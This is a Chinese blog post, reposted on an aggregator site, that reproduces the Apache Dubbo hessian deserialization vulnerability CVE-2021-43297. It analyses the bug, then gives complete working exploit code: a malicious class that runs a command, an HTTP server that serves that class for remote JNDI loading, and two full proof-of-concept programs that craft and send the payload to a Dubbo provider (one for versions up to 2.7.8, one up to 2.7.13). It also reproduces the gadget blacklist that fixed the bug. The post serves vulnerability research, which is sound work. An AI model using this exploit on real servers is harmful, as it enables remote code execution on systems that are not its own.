主頁 >  其他 > 通過CVE-2021-43297漏洞在Apache Dubbo<=2.7.13下實作RCE

通過CVE-2021-43297漏洞在Apache Dubbo<=2.7.13下實作RCE

2022-01-22 06:21:28 其他

目錄
  • 0 前言
  • 1 找源頭
    • 1.1 找到觸發點
    • 1.2 可用的gadget
    • 1.3 向上推觸發點
  • 2 構造poc
    • 2.1 開啟HttpServer
    • 2.2 hessian2序列化程序簡述
  • 3 poc
  • 4 總結
  • 5 Dubbo<=2.7.13可用的POC
    • 5.1 原理分析
    • 5.2 可RCE到2.7.13的POC
  • 6 再次總結

0 前言

1月15號看到dubbo的CVE-2021-43297通報,收集了一下各種說明,只在阿里云的通報中發現了一點提示資訊https://help.aliyun.com/document_detail/390205.html

沒有找到相關的poc和原理分析,畢業論文實在寫不下去了,所以想找點樂子,決定搞清楚具體怎么觸發的該漏洞

1 找源頭

1.1 找到觸發點

根據阿里云通報的提示,翻了一下apache-dubbo的github,沒有發現有價值的commit,但通報里寫到是hessian-lite有問題,所以繼續找到hessian-lite的github,終于發現了有用的commit,這個commit注釋寫明洗掉了toString呼叫,看一下源代碼

洗掉的代碼中,因為使用了字串拼接,所以obj物件會自動呼叫其toString方法,感覺來了啊:)

先直接給一個結論,這個CVE恐怕主要還是從Hessian2Input.except()->obj.toString觸發的,其它也可以觸發obj.toString()的地方,例如AbstractMapDeserializer#readObject()、AbstractListDeserializer#readObject()、AbstractDeserializer.readObject()、AbstractDeserializer#readMap()和JavaDeserializer#logDeserializeError()并不好構造poc觸發,各種AbstractxxDeserializer的方法都被下面的子類方法覆寫了并不會被呼叫;而JavaDeserializer#logDeserializeError()是執行value.toString,但反序列化value時呼叫的是readObject(expectClass),會比較反序列化的類與期望類是否相同,如果插入惡意位元組流,則會報錯IOexception,不會執行到value.toString,

1.2 可用的gadget

由于之前搞過dubbo的反序列化,所以對toString方法開始觸發的的gadget還是有記憶,

第一種:JsonObject.toString

https://www.cnblogs.com/bitterz/p/15588955.html

dubbo<=2.7.3時,由于其自帶fastjson<=1.2.46版本,所以可以用JsonObject包裹一個TemplatesImpl物件,該TemplatesImpl的_bytecodes屬性攜帶惡意位元組碼,在惡意位元組碼實體化的程序中實作RCE,但是有版本限制,所以暫時不深入研究,

第二種:ToStringBean.toString

其實是remo呼叫鏈的截斷,這個呼叫鏈可以看我的博客,或者三夢師傅的github

原理是用ToStringBean物件包裹一個JdbcRowSetImpl物件,在呼叫ToStringBean.toString方法時,會呼叫其所包裹的JdbcRowSetImpl物件的所有getter方法,從而利用JNDI實作RCE,寫了一下poc沒有成功,

第三種:AspectJPointcutAdvisor.toString

其實是SpringAbstractBeanFactoryPointcutAdvisor呼叫鏈的截斷,呼叫鏈過長就不詳細說了,

第四種:ReadOnlyBinding.toString

其實是XBean呼叫鏈的截斷,截斷后的呼叫鏈如下,其實就是利用其toString方法往下呼叫時會用到NamingManager,在NamingManager中會去指定地址下載惡意class檔案,并實體化,最終造成RCE,

at java.lang.Class.newInstance(Class.java:442)
at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)
at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:319)
at org.apache.xbean.naming.context.ContextUtil.resolve(ContextUtil.java:73)
at org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding.getObject(ContextUtil.java:204)
at javax.naming.Binding.toString(Binding.java:192)

其它可能的方法,比如CC鏈中的TiedMapEntry之類的就沒有深究了,精力有限,

1.3 向上推觸發點

最終選用ReadOnlyBinding.toString這個鏈(短一點,比較簡單),前面找到了可用的gadget,那么obj.toString方法如何才能到達呢,首先找到com.alibaba.com.caucho.hessian.io.Hessian2Input發現obj拼接在except方法中

并且在執行obj.toString方法前,obj是由Hessian2Input#readObject方法反序列化出來的,那么可以思考,如果這里反序列化出來的是惡意ReadOnlyBinding物件,RCE就達成了,借助IDEA繼續往前推except會在哪里呼叫

實際上還是Hessian2Input這個類中,跟進一下具體的方法,以readBoolean為例

public boolean readBoolean()
    throws IOException {
    int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();

    switch (tag) {
        case 'T':
            return true;
        case 'F':
            return false;
        case 0x80:
        case 0x81:
        // 省略了其它case
        case 'N':
            return false;
        default:
            throw expect("boolean", tag);

可見,hessian2協議在反序列化布林值時,通過一個給定的tag進行判斷,當tag沒有對應值時,會進入default,從而呼叫except方法,

到這里也就清晰了,我們可以使用hessian2對某個物件進行序列化,得到一段byte陣列,修改陣列中某個布林值屬性所對應的tag,即可在反序列化布林值時找不到對應的tag,然后進入default,也就是進入except方法,再呼叫obj.toString()從而實作RCE,

2 構造poc

2.1 開啟HttpServer

使用ReadOnlyBinding.toString這個鏈實作RCE,要求開一個http服務器用于下載惡意class檔案,借用一下三夢師傅的代碼,并把其中的new File(filePath)處的filePath改成我的惡意class文級路徑,

2.2 hessian2序列化程序簡述

由于涉及到修改序列化后的資料,所以必須要對序列化程序有一定的掌握(踩過坑,試過不看代碼直接修改byte陣列,非常困難且容易出錯)

在dubbo中有很多序列化協議,例如fastjson、hessian2和gson等,其中hessian2被設定為默認的反序列化協議,在hessian2序列化的程序中,它會根據不同的類選擇不同的序列化器,在處理某個類的不同屬性時,又會根據其型別選擇序列化器,如此迭代,最終完成序列化,

示例代碼

// 創建ReadOnlyBinding物件
Context ctx = Reflections.createWithoutConstructor(WritableContext.class);
Reference ref = new Reference("ExecTest", "ExecTest","http://127.0.0.1:8080/");
ContextUtil.ReadOnlyBinding binding = new ContextUtil.ReadOnlyBinding("foo", ref, ctx);

// 接收序列化后的位元組流
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
// 創建hessian2序列化工具
Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
// 序列化binding物件
out.writeObject(binding);

跟進Hessian2Output#writeObject方法看看

  • com.alibaba.com.caucho.hessian.io.Hessian2Output#writeObject
public void writeObject(Object object) throws IOException
{
    if (object == null) {
        writeNull();
        return;
    }
    Serializer serializer = findSerializerFactory().getObjectSerializer(object.getClass());
    serializer.writeObject(object, this);
}

可以看到,直接從序列化器工廠根據物件型別獲取相應的序列化器,除錯后發現序列化binding物件時使用的是JavaSerializer#writeObject

  • com.alibaba.com.caucho.hessian.io.JavaSerializer#writeObject
public void writeObject(Object obj, AbstractHessianOutput out) throws IOException {
    // 省略了一點代碼
    
    Class<?> cl = obj.getClass();
    int ref = out.writeObjectBegin(cl.getName());  // 根據物件型別寫入tag,即前面readBoolean方法里的tag

    
    if (ref < -1) {
            // 省略
        } else {
            if (ref == -1) {  // 序列化binding時進入這里,重點關注這里
                writeDefinition20(out);  // 寫入field名字
                out.writeObjectBegin(cl.getName());  //
            }

            writeInstance(obj, out);
        }
}

這里主要是會呼叫三個方法:

  • writeObjectBegin,根據型別寫入tag頭,在反序列化時,對應的反序列化器(deserializer)會呼叫反序列化方法(即readBoolean、readString、readInt等),并根據tag直接恢復值(true、false等)或者再次計算后恢復值
  • writeDefinition20,遍歷_fields陣列,寫入屬性的名字
class JavaSerializer{
    private void writeDefinition20(AbstractHessianOutput out) throws IOException {
        out.writeClassFieldLength(_fields.length);  // 物件屬性個數

        for (int i = 0; i < _fields.length; i++) {
            Field field = _fields[i];

            out.writeString(field.getName());
        }
	}
}
  • writeInstance,遍歷屬性陣列,寫入每個屬性對應的實體物件
class JavaSerializer{
    public void writeInstance(Object obj, AbstractHessianOutput out)
            throws IOException {
        for (int i = 0; i < _fields.length; i++) {
            Field field = _fields[i];

            _fieldSerializers[i].serialize(out, obj, field);
        }
    }
}

其中_fields和_fieldSerializers如下

序列化器遍歷屬性,并寫入位元組流,由于位元組流轉成java中的String顯示有些問題,所以將位元組流轉換十六進制放到winhex中結果如下:

可見其順序和屬性陣列中的順序一致,而isRelative屬性的值時false,在十六進制中用46表示,十進制70,正好是F的ascii,這里我是把其中的fullName屬性設定為"<<<<<"來定位的,

我們可以假想,現在整個位元組流就是binding物件,只要呼叫binding物件的toString方法即可完成RCE,結合前面1.3說到的,如果我們把位元組流替換到上圖指定的F處,是不是就可以在反序列化程序中,執行readBoolean方法時進入except中呢?確實是的,不過完整的poc還需要組裝一下dubbo資料包頭部

3 poc

  • 測驗環境

dubbo pom.xml

<dependency>
    <groupId>org.apache.dubbo</groupId>
    <artifactId>dubbo</artifactId>
    <version>2.7.8</version>
</dependency>
<dependency>
    <groupId>org.apache.dubbo</groupId>
    <artifactId>dubbo-common</artifactId>
    <version>2.7.8</version>
</dependency>
<dependency>
    <groupId>org.apache.dubbo</groupId>
    <artifactId>dubbo-dependencies-zookeeper</artifactId>
    <version>2.7.14</version>
    <type>pom</type>
</dependency>
<dependency>
    <groupId>org.apache.xbean</groupId>
    <artifactId>xbean-naming</artifactId>
    <version>4.15</version>
</dependency>

IDEA專案 pom.xml

<dependency>
    <groupId>org.apache.dubbo</groupId>
    <artifactId>dubbo</artifactId>
    <version>2.7.3</version>
</dependency>
<dependency>
    <groupId>com.caucho</groupId>
    <artifactId>hessian</artifactId>
    <version>4.0.51</version>
</dependency>
<dependency>
    <groupId>org.apache.dubbo</groupId>
    <artifactId>dubbo-common</artifactId>
    <version>2.7.3</version>
</dependency>
<dependency>
     <groupId>org.apache.xbean</groupId>
       <artifactId>xbean-naming</artifactId>
       <version>4.15</version>
     </dependency>
<dependency>

zookeeper 3.3

dubbo+zookeeper環境搭建就不重復寫了,可見https://www.cnblogs.com/bitterz/p/15526206.html 中的2.3節

  • 惡意類

需要編譯成class

import java.io.IOException;
public class ExecTest {
    public ExecTest() throws IOException {
        new java.io.IOException().printStackTrace();
        java.lang.Runtime.getRuntime().exec("calc");
    }
}
  • 啟動HttpServer

需要修改一下代碼,在new File()中指定惡意class檔案

import com.google.common.io.Files;
import com.sun.net.httpserver.Headers;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import com.sun.net.httpserver.spi.HttpServerProvider;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.util.Iterator;
import java.util.List;
import java.util.Set;
import org.apache.commons.lang3.StringUtils;

/**
 * 決議http協議,輸出http請求體
 *
 * @author xuanyh
 */
public class HTTPServer {

    public static String filePath;
    public static int PORT = 8080;
    public static String contentType;

    public static void main(String[] args) throws IOException {
        run(args);
    }

    public static void run(String[] args) {
        int port = PORT;
        String context = "/";
        String clazz = "Calc.class";
        if (args != null && args.length > 0) {
            port = Integer.parseInt(args[0]);
            context = args[1];
            clazz = args[2];
        }
        HttpServerProvider provider = HttpServerProvider.provider();
        HttpServer httpserver = null;
        try {
            httpserver = provider.createHttpServer(new InetSocketAddress(port), 100);
        } catch (IOException e) {
            e.printStackTrace();
        }
        //監聽埠8080,

        httpserver.createContext(context, new RestGetHandler(clazz));
        httpserver.setExecutor(null);
        httpserver.start();
        System.out.println("server started");
    }

    static class RestGetHandler implements HttpHandler {

        private String clazz;

        public RestGetHandler(String clazz) {
            this.clazz = clazz;
        }

        @Override
        public void handle(HttpExchange he) throws IOException {
            String requestMethod = he.getRequestMethod();
            System.out.println(requestMethod + " " + he.getRequestURI().getPath() + (
                    StringUtils.isEmpty(he.getRequestURI().getRawQuery()) ? ""
                            : "?" + he.getRequestURI().getRawQuery()) + " " + he.getProtocol());
            if (requestMethod.equalsIgnoreCase("GET")) {
                Headers responseHeaders = he.getResponseHeaders();
                responseHeaders.set("Content-Type", contentType == null ? "application/json" : contentType);

                he.sendResponseHeaders(200, 0);
                // parse request
                OutputStream responseBody = he.getResponseBody();
                Headers requestHeaders = he.getRequestHeaders();
                Set<String> keySet = requestHeaders.keySet();
                Iterator<String> iter = keySet.iterator();

                while (iter.hasNext()) {
                    String key = iter.next();
                    List values = requestHeaders.get(key);
                    String s = key + ": " + values.toString();
                    System.out.println(s);
                }
                System.out.println();
                BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(he.getRequestBody()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                for (;(line = bufferedReader.readLine()) != null;) {
                    stringBuilder.append(line);
                }
                System.out.println(stringBuilder.toString());

                byte[] bytes = Files.toByteArray(new File("D:\\xxx\\ExecTest.class")); 
                System.out.println(new String(bytes, 0, bytes.length));
                // send response
                responseBody.write(bytes);
                responseBody.close();
            }
        }
    }
}
  • CVE-2021-43297 poc
package com.bitterz.dubbo;

import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import org.apache.dubbo.common.io.Bytes;
import org.apache.xbean.naming.context.ContextUtil;
import org.apache.xbean.naming.context.WritableContext;
import sun.reflect.ReflectionFactory;

import javax.naming.Context;
import javax.naming.Reference;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.Socket;
import java.util.HashSet;
import java.util.Random;

public class HessianLitePocBack {

    public static void main(String[] args) throws Exception {

        Context ctx = Reflections.createWithoutConstructor(WritableContext.class);
        Reference ref = new Reference("ExecTest", "ExecTest","http://127.0.0.1:8080/");
        ContextUtil.ReadOnlyBinding binding = new ContextUtil.ReadOnlyBinding("foo", ref, ctx);

//        Field fullName = binding.getClass().getSuperclass().getSuperclass().getDeclaredField("fullName");
//        fullName.setAccessible(true);
        Reflections.setFieldValue(binding, "fullName", "<<<<<");
//        fullName.set(binding, "<<<<<");  // 方便定位屬性值的



        //############################################################################################
        // 寫入binding
        ByteArrayOutputStream binding2bytes = new ByteArrayOutputStream();
        Hessian2Output outBinding = new Hessian2Output(binding2bytes);
        outBinding.writeObject(binding);
        outBinding.flushBuffer();
        //############################################################################################
        // binding序列化后的byte陣列
        byte[] bindingBytes = binding2bytes.toByteArray();

        // header.
        byte[] header = new byte[16];
        // set magic number.
        Bytes.short2bytes((short) 0xdabb, header);
        // set request and serialization flag.
        header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
        // set request id.
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
        // 在header中記錄 序列化物件 的長度,因為最后一個F被覆寫了,所以要-1
        Bytes.int2bytes(bindingBytes.length*2-1, header, 12);

        // 收集header+binding
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        byteArrayOutputStream.write(header);
        byteArrayOutputStream.write(bindingBytes);
        byte[] bytes = byteArrayOutputStream.toByteArray();

        //############################################################################################
        // 組裝payload = header+binding+binding
        byte[] payload = new byte[bytes.length + bindingBytes.length -1];
        for (int i = 0; i < bytes.length; i++) {
            payload[i] = bytes[i];
        }

        for (int i = 0; i < bindingBytes.length; i++) {
            payload[i + bytes.length-1] = bindingBytes[i];
        }
        //############################################################################################


        // 輸出位元組流的十六進制
        for (int i = 0; i < payload.length; i++) {
            System.out.print(String.format("%02X", payload[i]) + " ");
            if ((i + 1) % 8 == 0)
                System.out.print(" ");
            if ((i + 1) % 16 == 0 )
                System.out.println();
        }
        System.out.println();
        // 輸出byte陣列轉String
        System.out.println(new String(payload,0,payload.length));

        //todo 此處填寫被攻擊的dubbo服務提供者地址和埠
        Socket socket = new Socket("127.0.0.1", 20880);
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(payload);
        outputStream.flush();
        outputStream.close();
        System.out.println("\nsend!!");
    }


    public static class Reflections{
        public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception{
            Field field=null;
            Class cl = obj.getClass();
            while (cl != Object.class){
                try{
                    field = cl.getDeclaredField(fieldName);
                    if(field!=null){
                        break;}
                }
                catch (Exception e){
                    cl = cl.getSuperclass();
                }
            }
            if (field==null){
                System.out.println(obj.getClass().getName());
                System.out.println(fieldName);
            }
            field.setAccessible(true);
            field.set(obj,fieldValue);
        }

        public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
        }

        public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
            objCons.setAccessible(true);
            Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
            sc.setAccessible(true);
            return (T) sc.newInstance(consArgs);
        }
    }
}

執行后效果如下

4 總結

  • poc經測驗后發現,只在apache dubbo<=2.7.8生效,高版本dubbo做了反序列化驗證,如果又其它可用payload或許可用達到apache dubbo<=2.7.14,
  • 另外其它從toString呼叫的gadget沒有測驗過,或許也可用,
  • 由于dubbo的hessian2反序列化程序比較復雜,所以分析較少,但只需要知道每種型別對應不同的read方法即可也可理解(boolean->readBoolean()、int->readInt() )

最后想說,根據漏洞描述直接復現漏洞還是有難度,即使是知道觸發點的情況下還是踩了很多坑,最開始在JavaDeserializer.logDeserializeError這里被坑了很久,然后是手動修改byte陣列被坑了,最后還是Hessian2Output.writeObject原始碼跟了一下才構建好完整的poc,




以上內容首發于先知社區,后面又研究了一下,發現了可以達到apache dubbo<=2.7.13的poc

5 Dubbo<=2.7.13可用的POC

5.1 原理分析

前面的POC在Dubbo>=2.7.9就失效了,原因在于前面的POC會執行到org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeBody方法,在該方法中又進一步會執行到下圖這里

跟進該方法

  • org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeEventData

可見bytes陣列長度必須<50,顯然會拋出錯誤,所以第3節中的poc只能打到2.7.8,

但是我們把目光回到org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeBody

protected Object decodeBody(Channel channel, InputStream is, byte[] header) throws IOException {
    byte flag = header[2], proto = (byte) (flag & SERIALIZATION_MASK);  // SERIALIZATION_MASK = 31
    // get request id.
    long id = Bytes.bytes2long(header, 4);
    if ((flag & FLAG_REQUEST) == 0) {  // FLAG_REQUEST = -128
        // decode response.
        Response res = new Response(id);
        if ((flag & FLAG_EVENT) != 0) {  // FLAG_EVENT = 32
            res.setEvent(true);
        }
        // get status.
        byte status = header[3];
        res.setStatus(status);
        try {
            if (status == Response.OK) {  // Response.OK = 20
                // 省略
            } else {
                // 重點在下面兩行
                ObjectInput in = CodecSupport.deserialize(channel.getUrl(), is, proto);
                res.setErrorMessage(in.readUTF());
            }
        } catch (Throwable t) {
            // 省略
        }
        return res;
    } else {
        // 省略
    }
}
  • 首先通過計算可知,當flag <= 0x20時,proto = flag & SERIALIZATION_MASK = flag,即 0x1f & 31 = 31, 0x02 & 31 = 2

  • 再通過計算可知,當flag >= 0x80時,flag & FLAG_REQUEST = 128;當flag<=0x7f時,flag & FLAG_REQUEST = 0

  • 繼續通過計算可知,當flag >= 0x20時,flag & FLAG_EVENT = 0;當flag <= 0x1f時,flag & FLAG_EVENT = 0

由于flag=header[2],而header正是我們前poc中的header,也就是說,我們可以控制flag的值!那么當flag被設定為小于等于0x1f時,就會執行到代碼注釋中的重點兩行

ObjectInput in = CodecSupport.deserialize(channel.getUrl(), is, proto);
res.setErrorMessage(in.readUTF());

第一行看樣子時根據proto選擇反序列化協議,第二行中呼叫了readUTF方法進行反序列化,

首先跟進第一行,來到 org.apache.dubbo.remoting.transport.CodecSupport#deserialiaze方法中,這里proto=31=0x1f

繼續跟進,來到 org.apache.dubbo.remoting.transport.CodecSupport#getSerialization方法中

繼續跟進,來到org.apache.dubbo.remoting.transport.CodecSupport#getserializationById方法中

除錯模式下可以直接看到,Hessian2協議的id=2,即0x02,結合前面的三條規則,0x02<0x1f,

回到前面的代碼中

ObjectInput in = CodecSupport.deserialize(channel.getUrl(), is, proto);
res.setErrorMessage(in.readUTF());

將flag設定為2后,會正確創建hessian2ObjectInput物件,繼續向下執行會首先執行in.readUTF(),除錯跟進該呼叫,結果如下

除錯可見mH2i就是一個Hessian2Input物件,跟進readString方法

這時來到了前面解釋過的except處理節奏了

5.2 可RCE到2.7.13的POC

package com.bitterz.dubbo;

import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import org.apache.dubbo.common.io.Bytes;
import org.apache.xbean.naming.context.ContextUtil;
import org.apache.xbean.naming.context.WritableContext;
import sun.reflect.ReflectionFactory;

import javax.naming.Context;
import javax.naming.Reference;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.Socket;
import java.util.HashSet;
import java.util.Random;
public class HessianLitePoc {

    public static void main(String[] args) throws Exception {

        Context ctx = Reflections.createWithoutConstructor(WritableContext.class);
        Reference ref = new Reference("ExecTest", "ExecTest","http://127.0.0.1:8080/");
        ContextUtil.ReadOnlyBinding binding = new ContextUtil.ReadOnlyBinding("foo", ref, ctx);

//        Field fullName = binding.getClass().getSuperclass().getSuperclass().getDeclaredField("fullName");
//        fullName.setAccessible(true);
        Reflections.setFieldValue(binding, "fullName", "<<<<<");
//        fullName.set(binding, "<<<<<");  // 方便定位屬性值的



        byte [] heder2 = new byte[]{-38, -69, -30, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 1};
        //############################################################################################
        // 寫入binding
        ByteArrayOutputStream binding2bytes = new ByteArrayOutputStream();
        Hessian2Output outBinding = new Hessian2Output(binding2bytes);
        outBinding.writeObject(binding);
        outBinding.flushBuffer();
        //############################################################################################
        // binding序列化后的byte陣列
        byte[] bindingBytes = binding2bytes.toByteArray();

        // header.
        byte[] header = new byte[16];
        // set magic number.
        Bytes.short2bytes((short) 0xdabb, header);
        // set request and serialization flag.
        header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
        // set request id.
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
        // 在header中記錄 序列化物件 的長度,因為最后一個F被覆寫了,所以要-1
        Bytes.int2bytes(bindingBytes.length*2-1, header, 12);

        // 收集header+binding
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        byteArrayOutputStream.write(header);
        byteArrayOutputStream.write(bindingBytes);
        byte[] bytes = byteArrayOutputStream.toByteArray();

        //############################################################################################
        // 組裝payload = header+binding+binding
        byte[] payload = new byte[bytes.length + bindingBytes.length -1];
        for (int i = 0; i < bytes.length; i++) {
            payload[i] = bytes[i];
        }

        for (int i = 0; i < bindingBytes.length; i++) {
            payload[i + bytes.length-1] = bindingBytes[i];
        }
        //############################################################################################

        // 修改flag的值
        payload[2] = 0x02;

        // 輸出位元組流的十六進制
        for (int i = 0; i < payload.length; i++) {
            System.out.print(String.format("%02X", payload[i]) + " ");
            if ((i + 1) % 8 == 0)
                System.out.print(" ");
            if ((i + 1) % 16 == 0 )
                System.out.println();
        }
        System.out.println();
        // 輸出byte陣列轉String
        System.out.println(new String(payload,0,payload.length));
//        System.exit(1);
        //todo 此處填寫被攻擊的dubbo服務提供者地址和埠
        Socket socket = new Socket("127.0.0.1", 20880);
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(payload);
        outputStream.flush();
        outputStream.close();
        System.out.println("\nsend!!");
    }


    public static class Reflections{
        public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception{
            Field field=null;
            Class cl = obj.getClass();
            while (cl != Object.class){
                try{
                    field = cl.getDeclaredField(fieldName);
                    if(field!=null){
                        break;}
                }
                catch (Exception e){
                    cl = cl.getSuperclass();
                }
            }
            if (field==null){
                System.out.println(obj.getClass().getName());
                System.out.println(fieldName);
            }
            field.setAccessible(true);
            field.set(obj,fieldValue);
        }

        public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
        }

        public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
            objCons.setAccessible(true);
            Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
            sc.setAccessible(true);
            return (T) sc.newInstance(consArgs);
        }
    }
}

Apache Dubbo=2.7.13,執行結果如下

Apache Dubbo=2.7.14,執行結果如下

原因在于,2.7.14版本在com.alibaba.com.caucho.hessian.io.ClassFactory中添加了黑名單,通過包命和類名過濾將要創建的物件,而Hessian2反序列化創建物件時,都需要使用ClassFactory這個工廠類,所以ReadOnlyBinding直接被過濾了,而2.7.15版本則修復了except方法中對obj的拼接,

禁止包命如下
bsh.
ch.qos.logback.core.db.
clojure.
com.alibaba.citrus.springext.support.parser.
com.alibaba.citrus.springext.util.SpringExtUtil.
com.alibaba.druid.pool.
com.alibaba.hotcode.internal.org.apache.commons.collections.functors.
com.alipay.custrelation.service.model.redress.
com.alipay.oceanbase.obproxy.druid.pool.
com.caucho.config.types.
com.caucho.hessian.test.
com.caucho.naming.
com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller.
com.ibm.xltxe.rnm1.xtq.bcel.util.
com.mchange.v2.c3p0.
com.mysql.jdbc.util.
com.rometools.rome.feed.
com.sun.corba.se.impl.
com.sun.corba.se.spi.orbutil.
com.sun.jndi.rmi.
com.sun.jndi.toolkit.
com.sun.org.apache.bcel.internal.
com.sun.org.apache.xalan.internal.
com.sun.rowset.
com.sun.xml.internal.bind.v2.
com.taobao.vipserver.commons.collections.functors.
groovy.lang.
java.beans.
java.rmi.server.
java.security.
javassist.bytecode.annotation.
javassist.util.proxy.
javax.imageio.
javax.imageio.spi.
javax.management.
javax.media.jai.remote.
javax.naming.
javax.script.
javax.sound.sampled.
javax.xml.transform.
net.bytebuddy.dynamic.loading.
oracle.jdbc.connector.
oracle.jdbc.pool.
org.apache.aries.transaction.jms.
org.apache.bcel.util.
org.apache.carbondata.core.scan.expression.
org.apache.commons.beanutils.
org.apache.commons.codec.binary.
org.apache.commons.collections.functors.
org.apache.commons.collections4.functors.
org.apache.commons.configuration.
org.apache.commons.configuration2.
org.apache.commons.dbcp.datasources.
org.apache.commons.dbcp2.datasources.
org.apache.commons.fileupload.disk.
org.apache.ibatis.executor.loader.
org.apache.ibatis.javassist.bytecode.
org.apache.ibatis.javassist.tools.
org.apache.ibatis.javassist.util.
org.apache.ignite.cache.
org.apache.log.output.db.
org.apache.log4j.receivers.db.
org.apache.myfaces.view.facelets.el.
org.apache.openjpa.ee.
org.apache.openjpa.ee.
org.apache.shiro.
org.apache.tomcat.dbcp.
org.apache.velocity.runtime.
org.apache.velocity.
org.apache.wicket.util.
org.apache.xalan.xsltc.trax.
org.apache.xbean.naming.context.
org.apache.xpath.
org.apache.zookeeper.
org.aspectj.apache.bcel.util.
org.codehaus.groovy.runtime.
org.datanucleus.store.rdbms.datasource.dbcp.datasources.
org.eclipse.jetty.util.log.
org.geotools.filter.
org.h2.value.
org.hibernate.tuple.component.
org.hibernate.type.
org.jboss.ejb3.
org.jboss.proxy.ejb.
org.jboss.resteasy.plugins.server.resourcefactory.
org.jboss.weld.interceptor.builder.
org.mockito.internal.creation.cglib.
org.mortbay.log.
org.quartz.
org.springframework.aop.aspectj.
org.springframework.beans.factory.
org.springframework.expression.spel.
org.springframework.jndi.
org.springframework.orm.
org.springframework.transaction.
org.yaml.snakeyaml.tokens.
pstore.shaded.org.apache.commons.collections.
sun.rmi.server.
sun.rmi.transport.
weblogic.ejb20.internal.
weblogic.jms.common.

正則匹配
java\lang\ProcessBuilder
java\lang\Runtime
java\util\ServiceLoader
javassist\tools\web\Viewer
org\springframework\beans\BeanWrapperImpl$BeanPropertyHandler

6 再次總結

所給出的poc 實作RCE需要滿足:

  • apache dubbo <= 2.7.13或alibaba dubbo對應版本

  • 知道dubbo provider的ip和埠,且可以訪問

  • dubbo provider存在ToStringBean鏈

  • dubbo provider服務器允許向外HTTP GET請求

投稿文章后再次研究才發現有所不足,和可以改進的地方,學習和研究還需謹慎呀!
最后代碼放在了我的github倉庫


作者:bitterz 地址:https://www.cnblogs.com/bitterz/ 本文著作權歸作者和博客園所有,歡迎轉載,轉載請標明出處, 如果您覺得本篇博文對您有所識訓,請點擊右下角的 [推薦],謝謝!

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/418095.html

標籤:其他

上一篇:前端網路安全——前端CSRF

下一篇:Web攻擊(xss與sql注入)靶場復現

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

